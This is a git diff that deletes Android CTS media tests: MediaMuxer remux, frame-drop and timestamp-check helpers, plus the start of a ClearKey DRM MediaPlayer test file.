-                fail("setLocation succeeded with bad argument: [" + LATITUDE + "," + BAD_LONGITUDE
-                    + "]");
-            } catch (IllegalArgumentException e) {
-                // Expected
-            }
-
-            muxer.setLocation(LATITUDE, LONGITUDE);
-        }
-
-        muxer.start();
-        while (!sawEOS) {
-            bufferInfo.offset = offset;
-            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
-
-            if (bufferInfo.size < 0) {
-                if (VERBOSE) {
-                    Log.d(TAG, "saw input EOS.");
-                }
-                sawEOS = true;
-                bufferInfo.size = 0;
-            } else {
-                bufferInfo.presentationTimeUs = extractor.getSampleTime();
-                bufferInfo.flags = extractor.getSampleFlags();
-                int trackIndex = extractor.getSampleTrackIndex();
-
-                muxer.writeSampleData(indexMap.get(trackIndex), dstBuf,
-                        bufferInfo);
-                extractor.advance();
-
-                frameCount++;
-                if (VERBOSE) {
-                    Log.d(TAG, "Frame (" + frameCount + ") " +
-                            "PresentationTimeUs:" + bufferInfo.presentationTimeUs +
-                            " Flags:" + bufferInfo.flags +
-                            " TrackIndex:" + trackIndex +
-                            " Size(KB) " + bufferInfo.size / 1024);
-                }
-            }
-        }
-
-        muxer.stop();
-        muxer.release();
-        extractor.release();
-        srcFd.close();
-        return;
-    }
-
-    /**
-     * Compares some attributes using MediaMetadataRetriever to make sure the
-     * cloned media file matches the source file.
-     */
-    private void verifyAttributesMatch(final String srcMedia, String testMediaPath,
-            int degrees) throws IOException {
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor(srcMedia);
-
-        MediaMetadataRetriever retrieverSrc = new MediaMetadataRetriever();
-        retrieverSrc.setDataSource(testFd.getFileDescriptor(),
-                testFd.getStartOffset(), testFd.getLength());
-
-        MediaMetadataRetriever retrieverTest = new MediaMetadataRetriever();
-        retrieverTest.setDataSource(testMediaPath);
-
-        String testDegrees = retrieverTest.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
-        if (testDegrees != null) {
-            assertEquals("Different degrees", degrees,
-                    Integer.parseInt(testDegrees));
-        }
-
-        String heightSrc = retrieverSrc.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
-        String heightTest = retrieverTest.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
-        assertEquals("Different height", heightSrc,
-                heightTest);
-
-        String widthSrc = retrieverSrc.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
-        String widthTest = retrieverTest.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
-        assertEquals("Different width", widthSrc,
-                widthTest);
-
-        //TODO: need to check each individual track's duration also.
-        String durationSrc = retrieverSrc.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_DURATION);
-        String durationTest = retrieverTest.extractMetadata(
-                MediaMetadataRetriever.METADATA_KEY_DURATION);
-        assertEquals("Different duration", durationSrc,
-                durationTest);
-
-        retrieverSrc.release();
-        retrieverTest.release();
-        testFd.close();
-    }
-
-    private void verifyLocationInFile(String fileName) {
-        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
-        retriever.setDataSource(fileName);
-        String location = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION);
-        assertNotNull("No location information found in file " + fileName, location);
-
-
-        // parsing String location and recover the location information in floats
-        // Make sure the tolerance is very small - due to rounding errors.
-
-        // Trim the trailing slash, if any.
-        int lastIndex = location.lastIndexOf('/');
-        if (lastIndex != -1) {
-            location = location.substring(0, lastIndex);
-        }
-
-        // Get the position of the -/+ sign in location String, which indicates
-        // the beginning of the longitude.
-        int minusIndex = location.lastIndexOf('-');
-        int plusIndex = location.lastIndexOf('+');
-
-        assertTrue("+ or - is not found or found only at the beginning [" + location + "]",
-                (minusIndex > 0 || plusIndex > 0));
-        int index = Math.max(minusIndex, plusIndex);
-
-        float latitude = Float.parseFloat(location.substring(0, index));
-        float longitude = Float.parseFloat(location.substring(index));
-        assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
-                Math.abs(latitude - LATITUDE) <= TOLERANCE);
-        assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
-                Math.abs(longitude - LONGITUDE) <= TOLERANCE);
-        retriever.release();
-    }
-
-    /**
-     * Uses 2 MediaExtractor, seeking to the same position, reads the sample and
-     * makes sure the samples match.
-     */
-    private void verifySamplesMatch(final String srcMedia, String testMediaPath, int seekToUs,
-            long offsetTimeUs) throws IOException {
-        AssetFileDescriptor testFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractorSrc = new MediaExtractor();
-        extractorSrc.setDataSource(testFd.getFileDescriptor(),
-                testFd.getStartOffset(), testFd.getLength());
-        int trackCount = extractorSrc.getTrackCount();
-        final int videoTrackIndex = 0;
-
-        MediaExtractor extractorTest = new MediaExtractor();
-        extractorTest.setDataSource(testMediaPath);
-
-        assertEquals("wrong number of tracks", trackCount,
-                extractorTest.getTrackCount());
-
-        // Make sure the format is the same and select them
-        for (int i = 0; i < trackCount; i++) {
-            MediaFormat formatSrc = extractorSrc.getTrackFormat(i);
-            MediaFormat formatTest = extractorTest.getTrackFormat(i);
-
-            String mimeIn = formatSrc.getString(MediaFormat.KEY_MIME);
-            String mimeOut = formatTest.getString(MediaFormat.KEY_MIME);
-            if (!(mimeIn.equals(mimeOut))) {
-                fail("format didn't match on track No." + i +
-                        formatSrc.toString() + "\n" + formatTest.toString());
-            }
-            extractorSrc.selectTrack(videoTrackIndex);
-            extractorTest.selectTrack(videoTrackIndex);
-
-            // Pick a time and try to compare the frame.
-            extractorSrc.seekTo(seekToUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-            extractorTest.seekTo(seekToUs + offsetTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-
-            int bufferSize = MAX_SAMPLE_SIZE;
-            ByteBuffer byteBufSrc = ByteBuffer.allocate(bufferSize);
-            ByteBuffer byteBufTest = ByteBuffer.allocate(bufferSize);
-
-            int srcBufSize = extractorSrc.readSampleData(byteBufSrc, 0);
-            int testBufSize = extractorTest.readSampleData(byteBufTest, 0);
-
-            if (!(byteBufSrc.equals(byteBufTest))) {
-                if (VERBOSE) {
-                    Log.d(TAG,
-                            "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
-                                    + "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-                    Log.d(TAG,
-                            "srcTSus:" + extractorSrc.getSampleTime()
-                                    + " testTSus:" + extractorTest.getSampleTime());
-                    Log.d(TAG, "srcBufSize:" + srcBufSize + "testBufSize:" + testBufSize);
-                }
-                fail("byteBuffer didn't match");
-            }
-            extractorSrc.unselectTrack(i);
-            extractorTest.unselectTrack(i);
-        }
-        extractorSrc.release();
-        extractorTest.release();
-        testFd.close();
-    }
-
-    /**
-     * Using MediaMuxer and MediaExtractor to mux a media file from another file while skipping
-     * some video frames as in the issues b/63590381 and b/64949961.
-     */
-    private void simulateVideoFramesDropIssuesAndMux(final String srcMedia, String dstMediaPath,
-            int expectedTrackCount, int fmt) throws IOException {
-        // Set up MediaExtractor to read from the source.
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
-            srcFd.getLength());
-
-        int trackCount = extractor.getTrackCount();
-        assertEquals("wrong number of tracks", expectedTrackCount, trackCount);
-
-        // Set up MediaMuxer for the destination.
-        MediaMuxer muxer;
-        muxer = new MediaMuxer(dstMediaPath, fmt);
-
-        // Set up the tracks.
-        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
-
-        for (int i = 0; i < trackCount; i++) {
-            extractor.selectTrack(i);
-            MediaFormat format = extractor.getTrackFormat(i);
-            int dstIndex = muxer.addTrack(format);
-            indexMap.put(i, dstIndex);
-        }
-
-        // Copy the samples from MediaExtractor to MediaMuxer.
-        boolean sawEOS = false;
-        int bufferSize = MAX_SAMPLE_SIZE;
-        int sampleCount = 0;
-        int offset = 0;
-        int videoSampleCount = 0;
-        // Counting frame index values starting from 1
-        final int muxAllTypeVideoFramesUntilIndex = 136; // I/P/B frames passed as it is until this
-        final int muxAllTypeVideoFramesFromIndex = 171; // I/P/B frames passed as it is from this
-        final int pFrameBeforeARandomBframeIndex = 137;
-        final int bFrameAfterPFrameIndex = pFrameBeforeARandomBframeIndex+1;
-
-        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
-        BufferInfo bufferInfo = new BufferInfo();
-
-        muxer.start();
-        while (!sawEOS) {
-            bufferInfo.offset = 0;
-            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
-            if (bufferInfo.size < 0) {
-                if (VERBOSE) {
-                    Log.d(TAG, "saw input EOS.");
-                }
-                sawEOS = true;
-                bufferInfo.size = 0;
-            } else {
-                bufferInfo.presentationTimeUs = extractor.getSampleTime();
-                bufferInfo.flags = extractor.getSampleFlags();
-                int trackIndex = extractor.getSampleTrackIndex();
-                // Video track at index 0, skip some video frames while muxing.
-                if (trackIndex == 0) {
-                    ++videoSampleCount;
-                    if (VERBOSE) {
-                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
-                    }
-                    if (videoSampleCount <= muxAllTypeVideoFramesUntilIndex
-                            || videoSampleCount == bFrameAfterPFrameIndex) {
-                        // Write frame as it is.
-                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
-                    } else if (videoSampleCount == pFrameBeforeARandomBframeIndex
-                            || videoSampleCount >= muxAllTypeVideoFramesFromIndex) {
-                        // Adjust time stamp for this P frame to a few frames later, say ~5seconds
-                        bufferInfo.presentationTimeUs += OFFSET_TIME_US;
-                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
-                    } else {
-                        // Skip frames after bFrameAfterPFrameIndex
-                        // and before muxAllTypeVideoFramesFromIndex.
-                        if (VERBOSE) {
-                            Log.i(TAG, "skipped this frame");
-                        }
-                    }
-                } else {
-                    // write audio data as it is continuously
-                    muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
-                }
-                extractor.advance();
-                sampleCount++;
-                if (VERBOSE) {
-                    Log.d(TAG, "Frame (" + sampleCount + ") " +
-                            "PresentationTimeUs:" + bufferInfo.presentationTimeUs +
-                            " Flags:" + bufferInfo.flags +
-                            " TrackIndex:" + trackIndex +
-                            " Size(bytes) " + bufferInfo.size );
-                }
-            }
-        }
-
-        muxer.stop();
-        muxer.release();
-        extractor.release();
-        srcFd.close();
-
-        return;
-    }
-
-    /**
-     * Uses two MediaExtractor's and checks whether timestamps of first few and another few
-     *  from last sync frame matches
-     */
-    private void verifyAFewSamplesTimestamp(final String srcMedia, String testMediaPath)
-            throws IOException {
-        final int numFramesTSCheck = 10; // Num frames to be checked for its timestamps
-
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractorSrc = new MediaExtractor();
-        extractorSrc.setDataSource(srcFd.getFileDescriptor(),
-            srcFd.getStartOffset(), srcFd.getLength());
-        MediaExtractor extractorTest = new MediaExtractor();
-        extractorTest.setDataSource(testMediaPath);
-
-        int trackCount = extractorSrc.getTrackCount();
-        for (int i = 0; i < trackCount; i++) {
-            MediaFormat format = extractorSrc.getTrackFormat(i);
-            extractorSrc.selectTrack(i);
-            extractorTest.selectTrack(i);
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                // Check time stamps for numFramesTSCheck frames from 33333us.
-                checkNumFramesTimestamp(33333, 0, numFramesTSCheck, extractorSrc, extractorTest);
-                // Check time stamps for numFramesTSCheck frames from 9333333 -
-                // sync frame after framedrops at index 172 of video track.
-                checkNumFramesTimestamp(
-                        9333333, OFFSET_TIME_US, numFramesTSCheck, extractorSrc, extractorTest);
-            } else if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
-                // Check timestamps for all audio frames. Test file has 427 audio frames.
-                checkNumFramesTimestamp(0, 0, 427, extractorSrc, extractorTest);
-            }
-            extractorSrc.unselectTrack(i);
-            extractorTest.unselectTrack(i);
-        }
-
-        extractorSrc.release();
-        extractorTest.release();
-        srcFd.close();
-    }
-
-    private void checkNumFramesTimestamp(long seekTimeUs, long offsetTimeUs, int numFrames,
-            MediaExtractor extractorSrc, MediaExtractor extractorTest) {
-        long srcSampleTimeUs = -1;
-        long testSampleTimeUs = -1;
-        extractorSrc.seekTo(seekTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        extractorTest.seekTo(seekTimeUs + offsetTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        while (numFrames-- > 0 ) {
-            srcSampleTimeUs = extractorSrc.getSampleTime();
-            testSampleTimeUs = extractorTest.getSampleTime();
-            if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
-                fail("either of tracks reached end of stream");
-            }
-            if ((srcSampleTimeUs + offsetTimeUs) != testSampleTimeUs) {
-                if (VERBOSE) {
-                    Log.d(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-                    Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-                }
-                fail("timestamps didn't match");
-            }
-            extractorSrc.advance();
-            extractorTest.advance();
-        }
-    }
-
-    /**
-     * Using MediaMuxer and MediaExtractor to mux a media file from another file while skipping
-     * 0 or more video frames and desired start offsets for each track.
-     * startOffsetUsVect : order of tracks is the same as in the input file
-     */
-    private void cloneMediaWithSamplesDropAndStartOffsets(final String srcMedia, String dstMediaPath,
-            int fmt, HashSet<Integer> samplesDropSet, Vector<Integer> startOffsetUsVect)
-            throws IOException {
-        // Set up MediaExtractor to read from the source.
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
-            srcFd.getLength());
-
-        int trackCount = extractor.getTrackCount();
-
-        // Set up MediaMuxer for the destination.
-        MediaMuxer muxer;
-        muxer = new MediaMuxer(dstMediaPath, fmt);
-
-        // Set up the tracks.
-        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
-
-        int videoTrackIndex = 100;
-        int videoStartOffsetUs = 0;
-        int audioTrackIndex = 100;
-        int audioStartOffsetUs = 0;
-        for (int i = 0; i < trackCount; i++) {
-            extractor.selectTrack(i);
-            MediaFormat format = extractor.getTrackFormat(i);
-            int dstIndex = muxer.addTrack(format);
-            indexMap.put(i, dstIndex);
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                videoTrackIndex = i;
-                // Make sure there's an entry for video track.
-                if (startOffsetUsVect != null && (videoTrackIndex < startOffsetUsVect.size())) {
-                    videoStartOffsetUs = startOffsetUsVect.get(videoTrackIndex);
-                }
-            }
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
-                audioTrackIndex = i;
-                // Make sure there's an entry for audio track.
-                if (startOffsetUsVect != null && (audioTrackIndex < startOffsetUsVect.size())) {
-                    audioStartOffsetUs = startOffsetUsVect.get(audioTrackIndex);
-                }
-            }
-        }
-
-        // Copy the samples from MediaExtractor to MediaMuxer.
-        boolean sawEOS = false;
-        int bufferSize = MAX_SAMPLE_SIZE;
-        int sampleCount = 0;
-        int offset = 0;
-        int videoSampleCount = 0;
-
-        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
-        BufferInfo bufferInfo = new BufferInfo();
-
-        muxer.start();
-        while (!sawEOS) {
-            bufferInfo.offset = 0;
-            bufferInfo.size = extractor.readSampleData(dstBuf, offset);
-            if (bufferInfo.size < 0) {
-                if (VERBOSE) {
-                    Log.d(TAG, "saw input EOS.");
-                }
-                sawEOS = true;
-                bufferInfo.size = 0;
-            } else {
-                bufferInfo.presentationTimeUs = extractor.getSampleTime();
-                bufferInfo.flags = extractor.getSampleFlags();
-                int trackIndex = extractor.getSampleTrackIndex();
-                if (VERBOSE) {
-                    Log.v(TAG, "TrackIndex:" + trackIndex + " PresentationTimeUs:" +
-                                bufferInfo.presentationTimeUs + " Flags:" + bufferInfo.flags +
-                                " Size(bytes)" + bufferInfo.size);
-                }
-                if (trackIndex == videoTrackIndex) {
-                    ++videoSampleCount;
-                    if (VERBOSE) {
-                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
-                    }
-                    if (samplesDropSet == null || (!samplesDropSet.contains(videoSampleCount))) {
-                        // Write video frame with start offset adjustment.
-                        bufferInfo.presentationTimeUs += videoStartOffsetUs;
-                        muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
-                    }
-                    else {
-                        if (VERBOSE) {
-                            Log.v(TAG, "skipped this frame");
-                        }
-                    }
-                } else {
-                    // write audio sample with start offset adjustment.
-                    bufferInfo.presentationTimeUs += audioStartOffsetUs;
-                    muxer.writeSampleData(indexMap.get(trackIndex), dstBuf, bufferInfo);
-                }
-                extractor.advance();
-                sampleCount++;
-                if (VERBOSE) {
-                    Log.i(TAG, "Sample (" + sampleCount + ")" +
-                            " TrackIndex:" + trackIndex +
-                            " PresentationTimeUs:" + bufferInfo.presentationTimeUs +
-                            " Flags:" + bufferInfo.flags +
-                            " Size(bytes)" + bufferInfo.size );
-                }
-            }
-        }
-
-        muxer.stop();
-        muxer.release();
-        extractor.release();
-        srcFd.close();
-
-        return;
-    }
-
-    /*
-     * Uses MediaExtractors and checks whether timestamps of all samples except in samplesDropSet
-     *  and with start offsets adjustments for each track match.
-     */
-    private void verifyTSWithSamplesDropAndStartOffset(final String srcMedia, boolean hasBframes,
-            String testMediaPath, HashSet<Integer> samplesDropSet,
-            Vector<Integer> startOffsetUsVect) throws IOException {
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractorSrc = new MediaExtractor();
-        extractorSrc.setDataSource(srcFd.getFileDescriptor(),
-            srcFd.getStartOffset(), srcFd.getLength());
-        MediaExtractor extractorTest = new MediaExtractor();
-        extractorTest.setDataSource(testMediaPath);
-
-        int videoTrackIndex = -1;
-        int videoStartOffsetUs = 0;
-        int minStartOffsetUs = Integer.MAX_VALUE;
-        int trackCount = extractorSrc.getTrackCount();
-
-        /*
-         * When all track's start offsets are positive, MPEG4Writer makes the start timestamp of the
-         * earliest track as zero and adjusts all other tracks' timestamp accordingly.
-         */
-        // TODO: need to confirm if the above logic holds good with all others writers we support.
-        if (startOffsetUsVect != null) {
-            for (int startOffsetUs : startOffsetUsVect) {
-                minStartOffsetUs = Math.min(startOffsetUs, minStartOffsetUs);
-            }
-        } else {
-            minStartOffsetUs = 0;
-        }
-
-        if (minStartOffsetUs < 0) {
-            /*
-             * Atleast one of the start offsets were negative. We have some test cases with negative
-             * offsets for audio, minStartOffset has to be reset as Writer won't adjust any of the
-             * track's timestamps.
-             */
-            minStartOffsetUs = 0;
-        }
-
-        // Select video track.
-        for (int i = 0; i < trackCount; i++) {
-            MediaFormat format = extractorSrc.getTrackFormat(i);
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
-                videoTrackIndex = i;
-                if (startOffsetUsVect != null && videoTrackIndex < startOffsetUsVect.size()) {
-                    videoStartOffsetUs = startOffsetUsVect.get(videoTrackIndex);
-                }
-                extractorSrc.selectTrack(videoTrackIndex);
-                extractorTest.selectTrack(videoTrackIndex);
-                checkVideoSamplesTimeStamps(extractorSrc, hasBframes, extractorTest, samplesDropSet,
-                    videoStartOffsetUs - minStartOffsetUs);
-                extractorSrc.unselectTrack(videoTrackIndex);
-                extractorTest.unselectTrack(videoTrackIndex);
-            }
-        }
-
-        int audioTrackIndex = -1;
-        int audioSampleCount = 0;
-        int audioStartOffsetUs = 0;
-        //select audio track
-        for (int i = 0; i < trackCount; i++) {
-            MediaFormat format = extractorSrc.getTrackFormat(i);
-            if (format.getString(MediaFormat.KEY_MIME).startsWith("audio/")) {
-                audioTrackIndex = i;
-                if (startOffsetUsVect != null && audioTrackIndex < startOffsetUsVect.size()) {
-                    audioStartOffsetUs = startOffsetUsVect.get(audioTrackIndex);
-                }
-                extractorSrc.selectTrack(audioTrackIndex);
-                extractorTest.selectTrack(audioTrackIndex);
-                checkAudioSamplesTimestamps(
-                        extractorSrc, extractorTest, audioStartOffsetUs - minStartOffsetUs);
-            }
-        }
-
-        extractorSrc.release();
-        extractorTest.release();
-        srcFd.close();
-    }
-
-    // Check timestamps of all video samples.
-    private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc, boolean hasBFrames,
-            MediaExtractor extractorTest, HashSet<Integer> samplesDropSet, int videoStartOffsetUs) {
-        long srcSampleTimeUs = -1;
-        long testSampleTimeUs = -1;
-        boolean srcAdvance = false;
-        boolean testAdvance = false;
-        int videoSampleCount = 0;
-
-        extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-
-        if (VERBOSE) {
-            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-            Log.v(TAG, "videoStartOffsetUs:" + videoStartOffsetUs);
-        }
-
-        do {
-            ++videoSampleCount;
-            srcSampleTimeUs = extractorSrc.getSampleTime();
-            testSampleTimeUs = extractorTest.getSampleTime();
-            if (VERBOSE) {
-                Log.v(TAG, "videoSampleCount:" + videoSampleCount);
-                Log.i(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-            }
-            if (samplesDropSet == null || !samplesDropSet.contains(videoSampleCount)) {
-                if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
-                    if (VERBOSE) {
-                        Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
-                    }
-                    fail("either source or test track reached end of stream");
-                }
-                /* Stts values within 0.1ms(100us) difference are fudged to save too many
-                 * stts entries in MPEG4Writer.
-                 */
-                else if (Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100) {
-                    if (VERBOSE) {
-                        Log.v(TAG, "Fail:video timestamps didn't match");
-                        Log.v(TAG,
-                            "srcTrackIndex:" + extractorSrc.getSampleTrackIndex()
-                                + "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-                        Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-                  }
-                    fail("video timestamps didn't match");
-                }
-                testAdvance = extractorTest.advance();
-            }
-            srcAdvance = extractorSrc.advance();
-        } while (srcAdvance && testAdvance);
-        if (srcAdvance != testAdvance) {
-            if (VERBOSE) {
-                Log.v(TAG, "videoSampleCount:" + videoSampleCount);
-            }
-            fail("either video track has not reached its last sample");
-        }
-    }
-
-    private void checkAudioSamplesTimestamps(MediaExtractor extractorSrc,
-                MediaExtractor extractorTest, int audioStartOffsetUs) {
-        long srcSampleTimeUs = -1;
-        long testSampleTimeUs = -1;
-        boolean srcAdvance = false;
-        boolean testAdvance = false;
-        int audioSampleCount = 0;
-
-        extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        if (audioStartOffsetUs >= 0) {
-            // Added edit list support for maintaining only the diff in start offsets of tracks.
-            // TODO: Remove this once we add support for preserving absolute timestamps as well.
-            extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        } else {
-            extractorTest.seekTo(audioStartOffsetUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-        }
-        if (VERBOSE) {
-            Log.v(TAG, "audioStartOffsetUs:" + audioStartOffsetUs);
-            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-        }
-        // Check timestamps of all audio samples.
-        do {
-            ++audioSampleCount;
-            srcSampleTimeUs = extractorSrc.getSampleTime();
-            testSampleTimeUs = extractorTest.getSampleTime();
-            if (VERBOSE) {
-                Log.v(TAG, "audioSampleCount:" + audioSampleCount);
-                Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-            }
-
-            if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
-                if (VERBOSE) {
-                    Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-                }
-                fail("either source or test track reached end of stream");
-            }
-            // > 1us to ignore any round off errors.
-            else if (Math.abs(srcSampleTimeUs + audioStartOffsetUs - testSampleTimeUs) > 1) {
-                fail("audio timestamps didn't match");
-            }
-            testAdvance = extractorTest.advance();
-            srcAdvance = extractorSrc.advance();
-        } while (srcAdvance && testAdvance);
-        if (srcAdvance != testAdvance) {
-            fail("either audio track has not reached its last sample");
-        }
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
deleted file mode 100644
index 0b8d11f..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
-import android.hardware.Camera;
-import android.media.AudioManager;
-import android.media.MediaCodec;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnErrorListener;
-import android.media.MediaRecorder;
-import android.media.MediaTimestamp;
-import android.media.PlaybackParams;
-import android.media.SubtitleData;
-import android.media.SyncParams;
-import android.media.TimedText;
-import android.media.audiofx.AudioEffect;
-import android.media.audiofx.Visualizer;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.IBinder;
-import android.os.PowerManager;
-import android.os.ServiceManager;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.UUID;
-import java.util.Vector;
-import java.util.concurrent.CountDownLatch;
-
-import junit.framework.AssertionFailedError;
-
-/**
- * Tests for the MediaPlayer API and local video/audio playback.
- *
- * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
- * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
- * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaPlayerDrmTest extends MediaPlayerDrmTestBase {
-
-    private static final String LOG_TAG = "MediaPlayerDrmTest";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
-
-    //////////////////////////////////////////////////////////////////////////////////////////////
-    // Asset helpers
-
-    private static Uri getUriFromFile(String path) {
-        return Uri.fromFile(new File(getDownloadedPath(path)));
-    }
-
-    private static String getDownloadedPath(String fileName) {
-        return getDownloadedFolder() + File.separator + fileName;
-    }
-
-    private static String getDownloadedFolder() {
-        return Environment.getExternalStoragePublicDirectory(
-                Environment.DIRECTORY_DOWNLOADS).getPath();
-    }
-
-    private static final class Resolution {
-        public final boolean isHD;
-        public final int width;
-        public final int height;
-
-        public Resolution(boolean isHD, int width, int height) {
-            this.isHD = isHD;
-            this.width = width;
-            this.height = height;
-        }
-    }
-
-    private static final Resolution RES_720P  = new Resolution(true, 1280,  720);
-    private static final Resolution RES_AUDIO = new Resolution(false,   0,    0);
-
-
-    // Assets
-
-    private static final String CENC_AUDIO_PATH = "/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4";
-    private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
-
-    private static final String CENC_VIDEO_PATH = "/cenc/clearkey/car_cenc-20120827-88-pssh.mp4";
-    private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
-
-
-    // Tests
-
-    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V0_SYNC() throws Exception {
-        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-                CENC_AUDIO_URL_DOWNLOADED,
-                RES_AUDIO,
-                ModularDrmTestType.V0_SYNC_TEST);
-    }
-
-    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V1_ASYNC() throws Exception {
-        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-                CENC_AUDIO_URL_DOWNLOADED,
-                RES_AUDIO,
-                ModularDrmTestType.V1_ASYNC_TEST);
-    }
-
-    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V2_SYNC_CONFIG() throws Exception {
-        download(Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
-                CENC_AUDIO_URL_DOWNLOADED,
-                RES_AUDIO,
-                ModularDrmTestType.V2_SYNC_CONFIG_TEST);
-    }
-
